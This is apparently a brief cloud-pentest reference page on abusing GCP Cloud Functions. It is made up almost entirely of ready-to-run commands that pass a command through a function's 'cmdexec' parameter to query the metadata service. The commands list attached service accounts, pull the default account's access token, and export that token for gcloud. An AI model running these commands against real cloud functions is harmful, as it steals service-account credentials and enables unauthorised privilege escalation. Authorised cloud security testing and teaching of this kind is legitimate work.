Cloud Functions
Abusable GCP Cloud Functions permissions that can lead to compromise or privilege escalation
Metadata Service
## Check for attached Service Accounts
curl -G 'https://<CLOUD_FUNCTION_URL>' --data-urlencode 'cmdexec=curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/'
default/
<ATTACHED_SERVICE_ACCOUNT>/## Get credentials
curl -G 'https://<CLOUD_FUNCTION_URL>' --data-urlencode 'cmdexec=curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token | python3 -c "import sys,json; print(json.load(sys.stdin)[\"access_token\"])"'
<TOKEN>## We can then use the token with gcloud
export CLOUDSDK_AUTH_ACCESS_TOKEN="<TOKEN>"
gcloud ... Last updated